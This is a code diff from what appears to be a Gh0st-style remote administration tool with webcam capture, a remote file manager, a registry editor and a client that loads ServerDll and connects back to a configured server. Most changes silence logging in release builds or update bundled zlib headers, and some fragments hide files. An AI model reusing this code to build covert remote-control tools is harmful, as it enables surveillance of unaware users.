@@ -66,7 +66,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
timeEndPeriod(1); timeEndPeriod(1);
This->Destroy(); This->Destroy();
std::cout<<"CVideoManager WorkThread end\n"; Mprintf("CVideoManager WorkThread end\n");
return 0; return 0;
} }
@@ -77,7 +77,7 @@ CVideoManager::~CVideoManager()
m_CapVideo.m_bExit = TRUE; m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n"; Mprintf("CVideoManager ~CVideoManager \n");
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD> if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{ {
delete m_pVideoCodec; delete m_pVideoCodec;
@@ -90,7 +90,7 @@ CVideoManager::~CVideoManager()
void CVideoManager::Destroy() void CVideoManager::Destroy()
{ {
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
std::cout<<"CVideoManager Destroy \n"; Mprintf("CVideoManager Destroy \n");
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD> if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{ {
delete m_pVideoCodec; delete m_pVideoCodec;
@@ -170,13 +170,13 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec) if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true); InterlockedExchange((LPLONG)&m_bIsCompress, true);
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break; break;
} }
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD> case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
{ {
InterlockedExchange((LPLONG)&m_bIsCompress, false); InterlockedExchange((LPLONG)&m_bIsCompress, false);
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break; break;
} }
} }

View File

@@ -3,6 +3,7 @@
#include <iostream> #include <iostream>
#include <corecrt_io.h> #include <corecrt_io.h>
#include "common/commands.h" #include "common/commands.h"
#include "StdAfx.h"
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost" #define REG_NAME "a_ghost"
@@ -139,25 +140,25 @@ BOOL Run(const char* argv1, int argv2) {
{ {
if (!DeleteFileA(oldFile.c_str())) if (!DeleteFileA(oldFile.c_str()))
{ {
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE; ok = FALSE;
} }
} }
if (ok && !MoveFileA(path, oldFile.c_str())) { if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; Mprintf("Error removing file. Error code: %d\n", GetLastError());
ok = FALSE; ok = FALSE;
}else { }else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{ {
std::cout << "File created and set to hidden: " << oldFile << std::endl; Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
} }
} }
if (ok && !MoveFileA(newFile.c_str(), path)) { if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover MoveFileA(oldFile.c_str(), path);// recover
}else if (ok){ }else if (ok){
std::cout << "Using new file: " << newFile << std::endl; Mprintf("Using new file: %s\n", newFile.c_str());
} }
} }
HMODULE hDll = LoadLibraryA(path); HMODULE hDll = LoadLibraryA(path);
@@ -180,7 +181,7 @@ BOOL Run(const char* argv1, int argv2) {
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path); GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path); port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
} }
printf("[server] %s:%d\n", ip, port); Mprintf("[server] %s:%d\n", ip, port);
do do
{ {
run(ip, port); run(ip, port);
@@ -194,14 +195,14 @@ BOOL Run(const char* argv1, int argv2) {
result = bExit(); result = bExit();
} }
if (!FreeLibrary(hDll)) { if (!FreeLibrary(hDll)) {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError()); Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
} }
else { else {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n"); Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
} }
} }
else { else {
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError()); Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000); Sleep(3000);
} }
return result; return result;

View File

@@ -1,5 +1,5 @@
/* zconf.h -- configuration of the zlib compression library /* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler * Copyright (C) 1995-2024 Jean-loup Gailly, Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h * For conditions of distribution and use, see copyright notice in zlib.h
*/ */
@@ -7,6 +7,8 @@
#ifndef ZCONF_H #ifndef ZCONF_H
#define ZCONF_H #define ZCONF_H
/* #undef Z_PREFIX */
/* #undef Z_HAVE_UNISTD_H */
/* /*
* If you *really* need a unique prefix for all types and library functions, * If you *really* need a unique prefix for all types and library functions,
@@ -38,6 +40,9 @@
# define crc32 z_crc32 # define crc32 z_crc32
# define crc32_combine z_crc32_combine # define crc32_combine z_crc32_combine
# define crc32_combine64 z_crc32_combine64 # define crc32_combine64 z_crc32_combine64
# define crc32_combine_gen z_crc32_combine_gen
# define crc32_combine_gen64 z_crc32_combine_gen64
# define crc32_combine_op z_crc32_combine_op
# define crc32_z z_crc32_z # define crc32_z z_crc32_z
# define deflate z_deflate # define deflate z_deflate
# define deflateBound z_deflateBound # define deflateBound z_deflateBound
@@ -238,7 +243,11 @@
#endif #endif
#ifdef Z_SOLO #ifdef Z_SOLO
typedef unsigned long z_size_t; # ifdef _WIN64
typedef unsigned long long z_size_t;
# else
typedef unsigned long z_size_t;
# endif
#else #else
# define z_longlong long long # define z_longlong long long
# if defined(NO_SIZE_T) # if defined(NO_SIZE_T)
@@ -293,14 +302,6 @@
# endif # endif
#endif #endif
#ifndef Z_ARG /* function prototypes for stdarg */
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
# define Z_ARG(args) args
# else
# define Z_ARG(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed /* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations). * model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have * This was tested only with MSC; for other MSDOS compilers you may have
@@ -349,6 +350,9 @@
# ifdef FAR # ifdef FAR
# undef FAR # undef FAR
# endif # endif
# ifndef WIN32_LEAN_AND_MEAN
# define WIN32_LEAN_AND_MEAN
# endif
# include <windows.h> # include <windows.h>
/* No need for _export, use ZLIB.DEF instead. */ /* No need for _export, use ZLIB.DEF instead. */
/* For complete Windows compatibility, use WINAPI, not __stdcall. */ /* For complete Windows compatibility, use WINAPI, not __stdcall. */
@@ -467,11 +471,18 @@ typedef uLong FAR uLongf;
# undef _LARGEFILE64_SOURCE # undef _LARGEFILE64_SOURCE
#endif #endif
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H) #ifndef Z_HAVE_UNISTD_H
# define Z_HAVE_UNISTD_H # ifdef __WATCOMC__
# define Z_HAVE_UNISTD_H
# endif
#endif
#ifndef Z_HAVE_UNISTD_H
# if defined(_LARGEFILE64_SOURCE) && !defined(_WIN32)
# define Z_HAVE_UNISTD_H
# endif
#endif #endif
#ifndef Z_SOLO #ifndef Z_SOLO
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE) # if defined(Z_HAVE_UNISTD_H)
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */ # include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
# ifdef VMS # ifdef VMS
# include <unixio.h> /* for off_t */ # include <unixio.h> /* for off_t */
@@ -507,7 +518,7 @@ typedef uLong FAR uLongf;
#if !defined(_WIN32) && defined(Z_LARGE64) #if !defined(_WIN32) && defined(Z_LARGE64)
# define z_off64_t off64_t # define z_off64_t off64_t
#else #else
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO) # if defined(_WIN32) && !defined(__GNUC__)
# define z_off64_t __int64 # define z_off64_t __int64
# else # else
# define z_off64_t z_off_t # define z_off64_t z_off_t

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -1382,7 +1382,7 @@ bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
{ {
CString file; CString file;
file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName); file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
//printf("send file %s\n",strFile); //Mprintf("send file %s\n",strFile);
m_Remote_Upload_Job.AddTail(file); m_Remote_Upload_Job.AddTail(file);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD> // <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
} }

View File

@@ -37,7 +37,7 @@ CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT*
CRegisterDlg::~CRegisterDlg() CRegisterDlg::~CRegisterDlg()
{ {
printf("~CRegisterDlg \n"); Mprintf("~CRegisterDlg \n");
} }
void CRegisterDlg::DoDataExchange(CDataExchange* pDX) void CRegisterDlg::DoDataExchange(CDataExchange* pDX)

View File

@@ -11,11 +11,11 @@
#define USING_COMPRESS 1 #define USING_COMPRESS 1
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 1 #define USING_ZLIB 0
#if !USING_ZLIB #if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4 // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 1 #define USING_LZ4 0
#endif #endif
#ifndef _SECURE_ATL #ifndef _SECURE_ATL
@@ -26,6 +26,12 @@
#define VC_EXTRALEAN // <20><> Windows ͷ<><CDB7><EFBFBD>ų<EFBFBD><C5B3><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD> #define VC_EXTRALEAN // <20><> Windows ͷ<><CDB7><EFBFBD>ų<EFBFBD><C5B3><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
#endif #endif
#ifdef _DEBUG
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#else
#define Mprintf(format, ...)
#endif
// <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С // <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS

View File

@@ -1,5 +1,5 @@
/* zconf.h -- configuration of the zlib compression library /* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler * Copyright (C) 1995-2024 Jean-loup Gailly, Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h * For conditions of distribution and use, see copyright notice in zlib.h
*/ */
@@ -7,6 +7,8 @@
#ifndef ZCONF_H #ifndef ZCONF_H
#define ZCONF_H #define ZCONF_H
/* #undef Z_PREFIX */
/* #undef Z_HAVE_UNISTD_H */
/* /*
* If you *really* need a unique prefix for all types and library functions, * If you *really* need a unique prefix for all types and library functions,
@@ -38,6 +40,9 @@
# define crc32 z_crc32 # define crc32 z_crc32
# define crc32_combine z_crc32_combine # define crc32_combine z_crc32_combine
# define crc32_combine64 z_crc32_combine64 # define crc32_combine64 z_crc32_combine64
# define crc32_combine_gen z_crc32_combine_gen
# define crc32_combine_gen64 z_crc32_combine_gen64
# define crc32_combine_op z_crc32_combine_op
# define crc32_z z_crc32_z # define crc32_z z_crc32_z
# define deflate z_deflate # define deflate z_deflate
# define deflateBound z_deflateBound # define deflateBound z_deflateBound
@@ -238,7 +243,11 @@
#endif #endif
#ifdef Z_SOLO #ifdef Z_SOLO
typedef unsigned long z_size_t; # ifdef _WIN64
typedef unsigned long long z_size_t;
# else
typedef unsigned long z_size_t;
# endif
#else #else
# define z_longlong long long # define z_longlong long long
# if defined(NO_SIZE_T) # if defined(NO_SIZE_T)
@@ -293,14 +302,6 @@
# endif # endif
#endif #endif
#ifndef Z_ARG /* function prototypes for stdarg */
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
# define Z_ARG(args) args
# else
# define Z_ARG(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed /* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations). * model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have * This was tested only with MSC; for other MSDOS compilers you may have
@@ -349,6 +350,9 @@
# ifdef FAR # ifdef FAR
# undef FAR # undef FAR
# endif # endif
# ifndef WIN32_LEAN_AND_MEAN
# define WIN32_LEAN_AND_MEAN
# endif
# include <windows.h> # include <windows.h>
/* No need for _export, use ZLIB.DEF instead. */ /* No need for _export, use ZLIB.DEF instead. */
/* For complete Windows compatibility, use WINAPI, not __stdcall. */ /* For complete Windows compatibility, use WINAPI, not __stdcall. */
@@ -467,11 +471,18 @@ typedef uLong FAR uLongf;
# undef _LARGEFILE64_SOURCE # undef _LARGEFILE64_SOURCE
#endif #endif
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H) #ifndef Z_HAVE_UNISTD_H
# define Z_HAVE_UNISTD_H # ifdef __WATCOMC__
# define Z_HAVE_UNISTD_H
# endif
#endif
#ifndef Z_HAVE_UNISTD_H
# if defined(_LARGEFILE64_SOURCE) && !defined(_WIN32)
# define Z_HAVE_UNISTD_H
# endif
#endif #endif
#ifndef Z_SOLO #ifndef Z_SOLO
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE) # if defined(Z_HAVE_UNISTD_H)
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */ # include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
# ifdef VMS # ifdef VMS
# include <unixio.h> /* for off_t */ # include <unixio.h> /* for off_t */
@@ -507,7 +518,7 @@ typedef uLong FAR uLongf;
#if !defined(_WIN32) && defined(Z_LARGE64) #if !defined(_WIN32) && defined(Z_LARGE64)
# define z_off64_t off64_t # define z_off64_t off64_t
#else #else
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO) # if defined(_WIN32) && !defined(__GNUC__)
# define z_off64_t __int64 # define z_off64_t __int64
# else # else
# define z_off64_t z_off_t # define z_off64_t z_off_t

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.